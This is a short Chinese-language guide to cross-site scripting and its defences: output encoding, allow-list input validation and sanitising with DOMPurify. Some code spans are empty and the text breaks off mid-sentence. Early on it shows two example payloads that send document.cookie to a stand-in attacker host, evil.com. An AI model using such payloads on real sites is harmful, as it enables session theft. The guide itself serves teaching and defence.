xss破解
这段代码能弹窗,但弹窗只是开胃菜。真正的攻击藏在payload里——比如把`alert(1)`换成`fetch('https://evil.com?c='+document.cookie)`,你登录态就没了。我见过最阴的案例:某论坛把用户输入直接拼进``,攻击者提交`x" onerror="location.href='//evil.com?cookie='+document.cookie`,结果管理员一刷新,后台会话直接泄露。 XSS的本质是“信任用户输入”。开发者把字符串当代码执行,浏览器分不清哪些是数据、哪些是脚本。就像你收到一封写着“请把这段话念出来”的信,结果你念完发现自己在转账——问题不在你,在于信的内容被当成了指令。 破解的第一步是**输出编码**。别信什么“过滤危险字符”的鬼话,黑名单永远有漏网之鱼。正确的姿势是:在HTML上下文用`<`转义尖括号,在JS上下文用`\x3c`转义,在URL上下文用`encodeURIComponent`。具体点,用框架自带的模板引擎——Vue的`{ { }}`、React的`{ text}`默认转义,别手贱用`v-html`或`dangerouslySetInnerHTML`。 第二步是**输入校验**。不是过滤,是白名单。比如用户名只允许`[a-zA-Z0-9_]{ 3,16}`,邮箱用正则匹配格式。但记住,校验是辅助,不是救世主——有些输入天生需要带HTML,比如富文本编辑器。这时候别自己写解析器,用DOMPurify这类库,它会把``,提交后看弹不弹。弹了就修,不弹也别高兴太早——试试`